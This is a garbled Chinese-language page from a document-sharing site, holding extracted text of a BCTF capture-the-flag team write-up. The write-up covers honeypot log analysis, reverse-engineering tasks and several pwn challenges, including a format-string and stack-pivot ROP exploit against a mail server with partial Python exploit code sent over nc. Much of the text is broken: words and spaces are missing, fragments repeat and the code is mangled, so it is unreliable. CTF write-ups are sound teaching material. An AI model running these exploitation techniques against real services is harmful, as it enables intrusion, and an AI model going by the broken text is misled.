內(nèi)容講義教程03-writeup sigma_第1頁(yè)
內(nèi)容講義教程03-writeup sigma_第2頁(yè)
內(nèi)容講義教程03-writeup sigma_第3頁(yè)
內(nèi)容講義教程03-writeup sigma_第4頁(yè)
內(nèi)容講義教程03-writeup sigma_第5頁(yè)
已閱讀5頁(yè),還剩37頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

BCTF解題報(bào)BCTF解題報(bào) 初來(lái)乍到(By 內(nèi)網(wǎng)探險(xiǎn)(ByLanlan& 誘捕陷阱(By杜荀鶴& PPC& 混 他鄉(xiāng)遇故知(ByGuest&杜荀鶴 地鐵難擠(By 后門程序(By 身無(wú)分文(By 竊?。˙y 最難的題目(Byd& 小菜一碟(By 碼海密蹤(By 分分鐘而已(By 真假難辨(By杜荀鶴& 見(jiàn)縫插針(ByLanlan& 冰山一角(ByLanlan& 了pcap了pcap/files/downloads/misc20065.pcap,可以看到兩個(gè)DNS的解析請(qǐng)求,請(qǐng)IP218.2.197.236,net36:12345,要輸入四個(gè)ip進(jìn)行驗(yàn)證,直接指向218.2.197.236是解析不到,通過(guò)這個(gè)博 .html需要 使用TCP查詢,得到四個(gè)ip地址,nc連接,提交ip,得到flag 誘捕陷阱(By杜荀&根據(jù)提示,找到dionaea蜜罐系統(tǒng)dionaea.carnivore.it運(yùn)行系統(tǒng)。然后在本機(jī)(10.10.10.1)log重放后,在虛擬機(jī)中執(zhí) -t$(date'+%s')-24*3600查看記錄,如下圖,感覺(jué)沒(méi)什么發(fā)現(xiàn),疑惑是我使用系統(tǒng) 不正確初來(lái)乍到(By在他的公司那一欄會(huì)看到一個(gè)flag,果斷提交就成了。內(nèi)網(wǎng)探險(xiǎn)(ByLanlan&看起來(lái)好像是MS03039的溢出?沒(méi)思路kippo蜜罐,在utils pythonylog.pykippo.ttylog.692ce16db7d940cb9ec52a重放第二段log,會(huì)發(fā)現(xiàn)者嘗試一個(gè)文件 實(shí)際上是IP地址166.111.132.187十進(jìn)制表示,這兩個(gè)命令都是在嘗試下載這個(gè)文件?;貋?lái),發(fā)現(xiàn)是windows可執(zhí)行文件,交給逆向大神隊(duì)友逆向查看隊(duì)查看隊(duì)友發(fā)來(lái)的fool.exe發(fā)現(xiàn)在sub_4011C0函數(shù),有字符賦值的操作,隨后調(diào)用sub_401190進(jìn)行異 用OD載入直接從4011C0開(kāi)始運(yùn)行,在內(nèi)存中得到未 在運(yùn)行結(jié)果中,找到FLAG:BCTF{Y0u_6oT_It_7WxMQ_jjR4P_mE9bV}PPC&混沌鎖(ByLanlan&number=[1,2,3,4,5,6,7,8,9]foroneinfortwoinf2='fun'+str(two)forfourinnumber:#最后的數(shù)字輸入順序?yàn)?、5、1、4)))))defcheck_equal(a,b):ifa==returnreturnreturnFalse得到的信息是 需要不同,但是編碼后的結(jié)果需要相同 press的后面添加字符串,然后再去編碼,實(shí)現(xiàn)編碼后的answer_hash=f['fun6'] (f['fun2'](f[f1](f[f2](f[f3](f[f4](answer))))))answer_hash1=f[f1](f[f2](f[f3](f[f4](answer))))answer_hash2=answer_hash1+print"ok"反推構(gòu)造了一個(gè)新的key和之前得到的函數(shù)順序一并提交,就可獲得flag他鄉(xiāng)遇故知(ByGuest&杜荀鶴 是Tupperselfreferential pythonTupper:LOL,Ithinktheybastardknowsnothingaboutmath.Mitnick:It'snotsafe!Youshoulduse61,17istooweak.Tupper:Fine,then,hereisyourflagindefTupper_self_referential_formula():kdefd=((-61*x)-(y%e=reduce(lambdax,y:x*y,[2forxinrange(-d)])ifdelsef=((y/61)/g=f%2foryinrange(k+60,k-1,-1):line=""iff(x,y):keykeyBCTF{p1e4se-d0nt-g1ve-up-請(qǐng)不要放棄治療。地鐵難擠(By先吐槽一下,這道題真是非常擰巴啊,考算法就行了嘛,為毛面加上一個(gè)sha1力那,難道考驗(yàn)我們寫多線程的功力?言歸正傳,首先來(lái)這個(gè)sha1,幾經(jīng)嘗試發(fā)現(xiàn)他是4位大小寫字母和數(shù)字的組合,于是乎就寫了一個(gè),純的四層循環(huán)來(lái)。嘗試了幾次發(fā)現(xiàn),不超時(shí)的概率大概在十分之一次的概率來(lái)調(diào)試,別提有多

line+="PS:不要嘲笑我前面的ha1解決了之后(其實(shí)不算完美解決,就后面就是一個(gè)玩游戲的關(guān)卡,這里RRRRLRRRRRRLL RRLL變成RLRL只能同時(shí)出現(xiàn)R在左L在右邊之后游戲結(jié)束,不用管空格在哪根據(jù)這個(gè)規(guī)則首先寫了個(gè)貪心,跑了一下,竟然說(shuō)我toomanytimes,這里我就天真我當(dāng)時(shí)就了,這到底有多少關(guān)啊。前邊sha1的還老超時(shí),造成各種調(diào)試不愉快。不過(guò)還得忍著繼續(xù)搞。)flagksta后門程序(By代碼分1先找到主08048BBD,其中有3個(gè)與題目有關(guān)的函數(shù)08048BF0 08048C08 2、在sub_08048C29中,程序 3sub_08048D92中,程n0b4ckd00r遂字符存08041B45處4IDAF5查看sub_8048DDE的代碼,程序會(huì)將我們輸入的字符串s1與字符串<baidu- -with-love>相異或,如果異或10個(gè)字符與08041B45處n0b4ckd00r相同,則會(huì)將s1[10]開(kāi)始的數(shù)據(jù)作為函數(shù)進(jìn)行調(diào)用利用方將字符串n0b4ckd00r與S CODE合并再與字符串<baidu-rocks,froM- 本地測(cè)首先編寫生成要發(fā)送的數(shù)據(jù)完整 然然后將生成的數(shù)據(jù)重定向給 程序接收到的 此此時(shí)所有數(shù)據(jù)能被scanf()完整接收測(cè)nc218.2.197.2491337<身無(wú)分文(By代碼分1、在IDA中通過(guò)字符串”==== ====”的引用找到主菜單顯示函數(shù)show_(08048B80),他的調(diào)用者(08048C00)是處理菜單選擇的函數(shù), 用者為main( 2、在函數(shù)中,有定義8字節(jié)的數(shù)組,每1個(gè)字節(jié)用來(lái)表示每種加到購(gòu)物車的數(shù)量。并在調(diào)用show_cart( 數(shù)組地址arr作為參數(shù)傳遞。3、buy_接收ID后,首先確保第一個(gè)字符不為負(fù)號(hào)“-”,然后_strtol()會(huì)將收到的字符串按十進(jìn)制形式轉(zhuǎn)換為int型數(shù)值indexIndex小于等于8時(shí)使arr[8-index]加1。4check_out0x14Name0804B120xC8Credit_Card_Number0804B1E0利用方 3、因arr是中定義的函數(shù)3、因arr是中定義的函數(shù)的返回地址e)所在內(nèi)存地址arr要高,我們剛好可以修改,將其修改成Credit_Card_Number所在地址0804B1E0,這 溢出構(gòu)為-17 加進(jìn)購(gòu)物車0xB1-0x85次,便可的返回地址改寫為0804B1E0代碼及結(jié)完整 2、雖然buy_對(duì)第1個(gè)字符是否為負(fù)號(hào)“-”進(jìn)行了判斷,但是如果在負(fù)號(hào)前面加空格的話,就可以繞過(guò)了。例如,printf("%d\n",strtol("-9",0,10));結(jié)果為-9。這樣就可以通過(guò)控制arr[8-index]index為負(fù)值,使任意arr+8大的內(nèi)存區(qū)域的某一字節(jié)+1。竊取(By竊米特尼克在的建議下,凱瑟琳中竊取到一上安裝竊米特尼克在的建議下,凱瑟琳中竊取到一上安裝,成功逃脫了一次針對(duì)他的抓捕行動(dòng)。國(guó)際衛(wèi)士,將米特尼克植入的木馬應(yīng)用檢測(cè)并移除 郵箱客戶端,特尼克必須侵 郵箱的服務(wù)器 服務(wù)器地址當(dāng)然我們要做的不是寫寫郵件那么簡(jiǎn)單,我們需要獲取郵件服務(wù)器上的flag,根據(jù)提供的可執(zhí)行文mailbox_177d7690bb16ccae7f7e6406a643ca05,來(lái)分析下它隱藏的,并利用catflag。0x01定利用IDA分析mailbox_177d7690bb16ccae7f7e6406a643ca05后發(fā)現(xiàn),在函數(shù)內(nèi)容的功能,下面就稱之為ShowOn 對(duì)應(yīng)的匯編指在0x08048DF7處調(diào)sprintf函數(shù)往fd描述符中打印內(nèi)存ebp+var_C+60處的字符串,ebp+var_C+60是郵件內(nèi)容(body),是用戶可控的,這是個(gè)典型的格式化,一般都可導(dǎo)致這里順便提下郵件在內(nèi)存中是如何布局的,每一份郵件分為3個(gè)部分,分別是收件人(to),(subject),以及郵件內(nèi)容(body),程序中為每一份郵件在堆上分0x160字節(jié)大小的堆塊,其中收件人占0x20字節(jié),占用接下來(lái)0x40字節(jié),最后的郵件內(nèi)容占用0x100字節(jié)。sprintf函數(shù)原型為 cdeclsub_80491A2(intfd,char*format,為方便調(diào)試就直接將其命名為0x02調(diào)調(diào)試前我們先檢測(cè)下 的以下安全屬性程序只開(kāi)啟了X,PIE和ELO是關(guān)閉的,看來(lái)限制不是很嚴(yán),根據(jù)提供的l庫(kù)文件,應(yīng)該可以構(gòu)造OP鏈進(jìn)行利用來(lái)執(zhí)行代碼,有了明確的利用方向后,接下來(lái)就要。本地運(yùn)行mailbox_177d7690bb16ccae7f7e6406a643ca05,使用gdbAttach0x08048DF7處下斷點(diǎn),切記gdb下要設(shè)置setfollow-fork-modechild在0x8048D73處。分析下此時(shí)的棧內(nèi)存數(shù)據(jù)0x0xbffff3200x0xbffff3200x4fdsprintf0xbffff324sprintf2個(gè)參數(shù),0x804c9480004|0xbffff324-->0x804c948("canyouexploitit?")0008|0xbffff328-->0x804c908("bctf-pwn300")0012|0xbffff32c-->0xbf000a310020|0xbffff334-->0x190040|0xbffff348-->0xbffff378地址位于堆區(qū),之前已經(jīng)簡(jiǎn)單分析了郵件的內(nèi)存布局,這個(gè)就在提下,0x804c8e8是郵件的收件人,該地址就是堆塊的起始地址,0x804c8e8+0x20=0x804c908是郵件的,0x804c908+0x40=0x804c948sprintf的第二個(gè)參數(shù),我們可再寫一封郵件內(nèi)容包含%p的郵件來(lái)測(cè)試下這個(gè)格式化堆棧信息查看郵件內(nèi)容會(huì)將棧中的內(nèi)容打印出來(lái)接下來(lái)測(cè)試下是否可以進(jìn)行內(nèi)存寫,在郵件內(nèi)容中使用 進(jìn)行驗(yàn)證堆棧信息查看郵件內(nèi)容發(fā)現(xiàn)郵件 內(nèi)容發(fā)生變化,顯然內(nèi)存被重寫了分析下發(fā)生這種情況的原因,先看下此時(shí)的棧顯然是sprintf在接收字符串bctf%23c%1$n,將其當(dāng)做格式化字符串,此時(shí)就會(huì)導(dǎo)致sprintflen(bctf)+23=27=0x1bsprintf的第三個(gè)參數(shù)的內(nèi)存中,0xbffff328,而是實(shí)際上這里的sprintf調(diào)用根本就不存在第3個(gè)或者的參數(shù)。所以通過(guò)控制郵件的內(nèi)容我們已經(jīng)可以做到任意內(nèi)存的 利能夠?qū)崿F(xiàn)內(nèi)存的讀寫可以說(shuō)已經(jīng)成功三分之一,接下來(lái)要實(shí)現(xiàn)的是如何通過(guò)內(nèi)存寫來(lái)控IPOP溢出的方向是要在堆上構(gòu)造ROP鏈,并讓程序執(zhí)行。這樣就要求ESP指向堆,而ESP的值是無(wú)法通過(guò)覆蓋直接修改。轉(zhuǎn)化下思路,可以先將EBP覆蓋為堆上的地址,再通過(guò)程序后movesp,ebpleaveESP指向堆區(qū),進(jìn)而有機(jī)會(huì)執(zhí)行構(gòu)造在堆上的ROP鏈。先看下當(dāng)前棧幀的結(jié)構(gòu)當(dāng)前EBP為0xbffff348,圖中的EBP鏈放映了函數(shù)的調(diào)用層次,當(dāng)前函數(shù)屬于最內(nèi)層,EBP0xbffff378EBP0xbffff3a8,我們可以修改的是上上層調(diào)用函數(shù)的EBP0xbffff3a8(以及更往前的調(diào)用函數(shù)的EBP。ESP執(zhí)行堆區(qū),前提是覆EBP后,程序最movesp,ebpleave指令,并且在這之前不會(huì)發(fā)生內(nèi)存異常,通過(guò)IDA來(lái)下程序是如何從當(dāng)前函數(shù)返回到上注:函注:函數(shù)調(diào)用關(guān)系如下MailProcess(Sub_0x80489C5)->ShowOutMail(Sub_0x8048C07)-當(dāng)前函數(shù) 返回到上層函數(shù)ShowOutMailShowOutMail函數(shù)繼續(xù)返回到上層函數(shù)MailProcess中程序進(jìn)一步跳轉(zhuǎn)到MailProcess函數(shù)(Sub_0x80489C5)中的loc_80489CB處執(zhí)行在loc_80489CB這里將涉及到EBP的內(nèi)存操作,主要執(zhí)行了sprintf函數(shù)的第一個(gè)參數(shù),文件描述符的獲取,在利用EBP后我們不EBP所指向的內(nèi)存可訪問(wèn),又要保EBP+fd處的值是個(gè)正確的文件描述符,這個(gè)值可以通過(guò)任意內(nèi)存讀來(lái)獲取。MailProcessOperationChoice(loc_8048F27)來(lái)獲取用戶的操作選擇,程序?qū)⒉僮鞣譃?種,并將這5種操作函數(shù)放入一個(gè)函數(shù)地址表Funtion_Table中,5種功能函數(shù)中,有個(gè)退出郵件系統(tǒng)的函數(shù)exitMailSystem,該函數(shù)僅僅執(zhí)行的指令是leave;retn。剛好指向可以控制的堆區(qū)地址,最后ret將會(huì)使程序執(zhí)行堆上的代碼。由于程序開(kāi)啟了NX保PIE是關(guān)閉的,只要在堆上ROPNX執(zhí)行代碼。通過(guò)以上的分析,大致可以將整 利用的過(guò)程分為三大步驟區(qū)的數(shù)據(jù),同時(shí)通過(guò)郵件在堆區(qū)構(gòu)造ROP鏈第2步,通過(guò)查看郵件內(nèi)容,程序會(huì)調(diào)用函數(shù) 從而觸發(fā)格式 ,第3步,刪除該郵件,程序調(diào)用exitMailSystem,函數(shù)執(zhí)行l(wèi)eave;ret指令,使程序的指向堆區(qū)上的ROP鏈,并執(zhí)行代碼-c'++-c'++++++'|nc 表示寫一封郵 表示郵件接受 代表文件描述符為4,可通過(guò) =0x0x8048dfc,修改為0x0x8048df sprintf打印標(biāo)號(hào)為1的郵件內(nèi)容前,上上程序?qū)⒆址?c%9$n作為格式化參數(shù)執(zhí)行后,上上層函數(shù)的EBP被修改0x804c908= 程序調(diào)用OperationChoice(loc_8048F27)來(lái)獲取用戶的操作選擇,此時(shí)eax=5,表示選擇退出郵件系統(tǒng),注意此時(shí)的EBP=0x804c908程序調(diào)用退出郵件系統(tǒng)函數(shù)exitMailSystem,程序?qū)?zhí)行l(wèi)eave;ret指令最后ESP成功指向堆區(qū)郵件的數(shù)據(jù)區(qū),同時(shí)EIP也變成0x04,成功控制EIP 中構(gòu)造ROP鏈,由于郵件 ,的ROP鏈已經(jīng)滿足了。ROPROP_CHAIN=SYSTEM_Addr+EXIT_Addr+CMD_Addt+注:SYSTEM_Addr和EXIT_Addr通過(guò)格式化棧內(nèi)泄漏的Libc庫(kù)地址和給定的文件計(jì)算出具體的內(nèi)存地址0x05溢出執(zhí)行代碼,成功catBCTF{x14ng-fl4g-BCTF{x14ng-fl4g-相關(guān)代注LIBC代表程序當(dāng)前加載的注LIBC代表程序當(dāng)前加載的LIBC庫(kù) FD代表程序進(jìn)行Socket通信所使用的文件描述符這三個(gè)變量都可以通過(guò)格式 在棧 獲得fromosimportIP=PORT=HEAP1LIBC=0xfFD=#getitby#getitby#getitbySYSTEM=EXIT=pack('<I',LIBC+0x000b7684)CMD="bash-c'catflag #catROP_CHAIN=SYSTEM+EXIT+CMD_ADDR+'WriteHeapMem':'%1c%1$hn','WriteEipMem':'%1c%10$hn' 'WriteEspMem':'%c'*9+'%n','LeakStackHeap':'%p','LeakLibc':'%p'*defbinfile='exploit.bin'cmd='cat'+binfile+'|'+'nc'+''+str(ip)+''+defJunk=Junk=POP4RET= #popesi;popedi;pop#addespRET=revceier=)subject=Junk+POP4RET+pack('<I',FD)*4+RET*5+ifformat=WriteEbpMem=format+(8-len(format)%8)*'A'WriteEbpMem=WriteEbpMem+RET*20+ROP_CHAINcontent=WriteEbpMemif ='1'+'\x0a'+revceier+'\x0a'+subject+'\x0a'+content+MailNo=viewMail='3'+ Exit='5'+exploit=compos defrevceier=subject=content= ='1'+'\x0a'+revceier+'\x0a'+subject+'\x0a'+content+MailNo=viewMail='3'+'\x0a' Exit='5'+'\x0a'exploit= if'main'==name最難的題目(Byd&當(dāng)我看到它的時(shí)候,我覺(jué)得是我發(fā)光發(fā)熱的時(shí)候了,終于可以有個(gè)題目簡(jiǎn)單一些了IDA了一下,簡(jiǎn)單分析,再使用OD(好像是有反調(diào)試,但用使用吾愛(ài)的OD,直接無(wú)視次,奔跑中。小菜一碟(By代碼分5、OD或是IDA都可以很明顯的找出字符串,從而找到關(guān)鍵的函 (基址6 — ,這部分代碼是對(duì)輸入的字符串做簡(jiǎn)單的判斷,并在14的位置處插入數(shù)字1,8,0,7,具體要求是輸入必須為數(shù)字0---9,16位長(zhǎng)度7、D,判斷輸入的第一位是00,則錯(cuò)誤8、004012CD——004013B8,這部分是第一個(gè)難點(diǎn)。循環(huán)兩遍,主要作用是對(duì)輸入的字符串前半部分進(jìn)行除以10計(jì)算(使用IDA的F5功能,能把前兩次使用0x 除以10的操作然后取余數(shù)和商,進(jìn)行判斷。有兩處是進(jìn)行是否相等的判斷,有一處是Python,寫了一個(gè)簡(jiǎn)單的,跑出來(lái)幾組數(shù)據(jù),驗(yàn)證這部分的分析是否正確。9004013BD——004013E7,這部分,還是對(duì)上面的計(jì)算進(jìn)行驗(yàn)證,同樣的方法,在python中增加判斷條件,最后可以得到三組滿足條件的數(shù)字1990811888888888,6970825888888888,6971825888888888(8是填充位)、 面是個(gè)數(shù), 心哭,上的法,出,后奈了將函提出來(lái)用c言個(gè)序直來(lái)跑這函本不要析。 12 (最后一句,大神們 出題這么狠 知道么方S5=s0==((s6*s7)/10+s5*s7)%10s1>(s6*s7)%10((s6*s7)/10+s5*s7)/10==s2>(s6*8)%10Python那各種記錄的小筆記,寫的紙上的就不給了)C語(yǔ)哥哥們,拯救一下我吧,這樣的代碼,我都快糾結(jié)死了,求優(yōu)雅代碼,求各種好意見(jiàn)分析截夢(mèng)都是除法,最后,再上幾張IDA和OD的截圖:最我用OD 了一遍,又IDA搞了兩遍,每次都是 如此。學(xué)到了很多,謝謝各位大神。碼海密蹤(By吐話說(shuō)開(kāi)始做這題時(shí),完全被搞懵了,各種跳轉(zhuǎn)表,各種all寄存器的函數(shù)調(diào)用,一層套一層。懵了好久好久才發(fā)現(xiàn)這個(gè)東東怎么有點(diǎn)像虛擬機(jī)啊,然后才注意到文件名是m><~初main401600argc2,argv[1]48位。memcpy3call,判斷一個(gè)結(jié)果是否為0,等0則我們輸入的是正確的key。直接gdb跟吧。0x4016E7下斷發(fā)現(xiàn)輸入的參數(shù)會(huì)被memcpy0x6040A01個(gè)call400A60,2callmain_loop(4013F0),里面好大一個(gè)跳轉(zhuǎn)表,第3call0x400AE0按照某一順400b30~401380這編號(hào)0~22的函數(shù),仔細(xì)4~5個(gè)其中最早調(diào)用的函且有幾個(gè)指針都是以0x604010加上某偏移值取出來(lái)的。另外,發(fā)現(xiàn)main_loop環(huán)的次數(shù)與參數(shù)的長(zhǎng)度有關(guān)于是終于發(fā)現(xiàn),這是一個(gè)虛擬機(jī)啊VM分2是3種機(jī)指令,minloop便是完成不斷取指令并執(zhí)行的過(guò)程。在minloop上找一個(gè)關(guān)鍵點(diǎn)下斷akx1B,每一次斷下來(lái)時(shí)執(zhí)行x/x40查找線索。第一次斷下來(lái)時(shí),終于x48處為虛擬機(jī)的C向3(dad,...x030在x40發(fā)了在0841C、 、 、 。使用gdb的command功能按圖設(shè)置。這樣每次斷下來(lái)時(shí),會(huì)自動(dòng)顯示PC、當(dāng)前要執(zhí)行指令的十六進(jìn)制代碼,指令編號(hào)、棧頂指針、棧中內(nèi)容、數(shù)據(jù)指針、5個(gè)寄存器。指令分PC23個(gè)指那就繼續(xù)劃分指令好了。突然,你看我在寄存器里發(fā)現(xiàn)了什么程序?qū)⑽业哪骋?讀入寄存器了,這是明碼比較的節(jié)奏嗎?馬上翻譯一不

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論